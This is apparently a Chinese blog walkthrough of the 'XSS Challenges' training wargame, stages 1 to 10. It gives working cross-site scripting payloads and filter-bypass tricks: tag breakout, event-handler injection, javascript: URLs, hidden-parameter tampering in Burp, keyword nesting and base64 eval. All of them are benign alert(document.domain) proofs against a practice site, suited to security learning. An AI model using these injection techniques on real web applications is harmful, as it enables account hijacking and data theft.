首页 > 其他分享 >XSS Challenges

XSS Challenges

时间:2023-02-06 16:55:32浏览次数:58  
标签:XSS domain 标签 alert Challenges input document Stage

XSS 挑战 (由 yamagata21) - 阶段 #1 (int21h.jp)

题目要求注入 JavaScript 命令: alert(document.domain);

Stage #1

输入321来定位代码的位置,发现是处于<b></b>标签之内,没有任何过滤

// 第一种方法是闭合 b 标签,插入 Script 标签
"</b> <script>alert(document.domain)</script>//

// 第二种方法是直接在 b 标签内部构造 XSS
<script>alert(document.domain)</script>

定位位置

闭合 b 标签的方式

直接在 b 标签内部构造 XSS

Stage #2

输入321来定位代码的位置,发现注入点在input标签的value属性里面

// 第一种方法是闭合 input 标签,插入 Script 标签
"> <script>alert(document.domain)</script>//

// 第二种方法是在 input 标签中插入属性
// onm ouseover 事件 --> 鼠标指针移动到图片后执行Javascript代码
123" onm ouseover=alert(document.domain)>//

定位位置

闭合 input 标签,插入 Script 标签

input 标签中插入属性

Stage #3

输入321来定位代码的位置,发现注入点在b标签,于是乎使用 stage1 的 payload,结果失败了

  • 失败原因,用于构造标签的<>"被转义了
    • <> --> &lt;&gt;
    • " --> &quot;

通过查看源代码发现有两个参数,P1 是文本输入,P2 是下拉列表,因为 P1 有过滤,所以对 P2 进行注入

用 burp 截取数据包,篡改 P2 的值,Forward 放包之后会发现弹出

// burp 中对 P2 参数进行注入, 
p1=123&p2=<script>alert(document.domain)</script>

定位位置

两个参数

Stage #4

输入321来定位代码的位置,发现注入点还是在b标签,但是用 burp 抓包后发现了三个参数,P1、P2、P3

从源代码中搜索 P3 的值 hackme,发现是在一个 input 标签的 value 属性中,且type="hidden",这说明该 input 元素在网页页面是不可见的,换言之网页上面不显示输入框,做了隐藏处理。

// 用 burp 截取数据包,然后对 P3 参数进行篡改,用 "> 闭合 input 标签,插入 Script 标签
"><script>alert(document.domain)</script>

定位位置

查询 P3 的值

在 burp 中修改 P3 的值然后放包

P3 参数处注入

Stage #5

输入321来定位代码的位置,发现注入点在input标签的value属性里面

但与 Stage #2 不同的是 input 标签中加入了maxlength 属性,其值为15,意思是输入的字符不能超过 15。

maxlength 属性规定 元素中允许的最大字符数。

像是这中前端的设置是可以在源代码中进行修改,进而绕过限制

然后把maxlength的值设置为100,接着就是 Stage #2 的步骤

// 第一种方法是闭合 input 标签,插入 Script 标签
"> <script>alert(document.domain)</script>//

// 第二种方法是在 input 标签中插入属性
// onm ouseover 事件 --> 鼠标指针移动到图片后执行Javascript代码
123" onm ouseover=alert(document.domain)>//

定位位置

修改 maxlength 的值

成功弹窗

Stage #6

输入321来定位代码的位置,发现注入点还是在input标签的value属性中

于是用 Stage #2 闭合input 的方式来构造 XSS,测试后发现过滤了<>,但没有过滤", 这说明不可以用新标签,只能在input标签内通过"闭合前面的属性的方式,为后面新增属性

  • > --> &gt;

HTML 事件 | 菜鸟教程 (runoob.com)

// 需要点击搜索框触发,
" onclick=alert(document.domain)	

// 需要移动到搜索框触发
" onm ouseover=alert(document.domain)

查看过滤情况

鼠标事件

Stage #7

注入点还是在input标签的value属性中,但依旧是过滤了<>"

" onm ouseover=alert(document.domain)
// 321 会写入 input 的 value 值中,空格做个分隔,写后面的属性

321 οnmοuseοver=alert(document.domain)
321 onclick=alert(document.domain)

查看过滤

用点击事件

Stage #8

输入字符发现注入点在a标签的href属性中,随即想到JavaScript 伪协议绕过(需要点一下链接才能弹窗)

// javascript 伪协议
// <a> 标签的 href 属性用于指定超链接目标的 URL,href 属性的值可以是 JavaScript 表达式
javascript:alert(document.domain);

定位

JavaScript 伪协议

Stage #9

听说开发者是日本人,难怪会有这种题目

通过 burp 抓包发现参数是charset=euc-jp,亦即日文编码,需要识别 UTF-7 的 IE 浏览器(但 IE 已经退役了……)

看了其他人的方法,在控制台输出弹窗绕过

Stage #10

定位在input标签的value属性中,但domain过滤了,可以使用嵌套绕过的方式

// 嵌套绕过
"><script>alert(document.domadomainin)</script>

// 看其他人有用 base 64 编码的方式来绕过的,但是需要解密函数 atob() 对字符串进行解密再进行执行
// eval()函数计算 JavaScript 字符串,并把它作为脚本代码来执行
alert(document.domain) 经过 base 64 编码后,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

嵌套

Stage #11

从此关开始打不开了

标签:XSS,domain,标签,alert,Challenges,input,document,Stage
From: https://www.cnblogs.com/yii-ling/p/17095893.html

相关文章

  • phpstudy后台管理页面存在XSS
    一、下载小皮面板官方下载地址:https://www.xp.cn/二、漏洞复现安装完成后来到登录页面,复制好相关后台连接和用户名密码后进行正常登录。在用户名处插入xss语句,验证码......
  • DVWA靶场实战(十二)——XSS(Stored)
    DVWA靶场实战(十二)五、XSS(Stored):1.漏洞原理:XSS的Stored被称作存储型XSS漏洞,漏洞的原理为语句被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XS......
  • Challenges of Debugging Optimized x64 Code
    Learn  BlogArchive  NtdebuggingBlog 使用英语阅读保存  ChallengesofDebuggingOptimizedx64Code项目2009/01/0923分钟可看完If......
  • Google XSS Game
    XSSgame(xss-game.appspot.com)这是一款谷歌的XSS游戏,总共有6个级别Level1无需转义,直接编辑URL栏或者搜索框中都可以执行<script>alert(1)</script>Leve......
  • 分享两个好用的XSS漏扫工具(工具)
    =================免责声明:希望大家以遵守《网络安全法》相关法律,本团队发表此文章仅用于研究学习,切勿用于非法犯罪活动,对于恶意使用该工具造成的损失,和本团队无关。=======......
  • vue.js客服系统实时聊天项目开发(十)过滤xss字符内容-防止xss攻击
    我们在发送消息给用户的时候,都要进行过滤xss字符,xss是跨站脚本攻击,实质上就是发送了html或js代码,现在我们在vue项目中对内容进行一下过滤在vue中安装如下:npminstallxs......
  • XSS
    原理前端代码注入,拼接恶意的html,真正执行恶意代码的是js语句常见业务场景:重灾区:评论区、留言区、个人信息、订单信息等针对型:站内信、网页即时通讯、私信、意见反馈存......
  • DVWA靶场实战(十一)——XSS(Reflected)
    DVWA靶场实战(十一)十一、XSS(Reflected):1.漏洞原理:XSS被称为跨站脚本攻击(CrossSiteScript),而Reflected被称作反射型XSS。不同于DOM和Stored,Reflected反射型无法存储......
  • XSS攻击是什么
    攻击者可以通过向Web页面里面插入script代码,当用户浏览这个页面时,就会运行被插入的script代码,达到攻击者的目的。XSS的危害一般是泄露用户的登录信息cookie,攻击者可以通过c......
  • NodeJS - XSS-Attribute
    参考:https://owasp-skf.gitbook.io/asvs-write-ups/cross-site-scripting-attribute-xss-attribute/kbid-3-xss-attributef12看看修改color的值,英文句子就会改变颜色,这......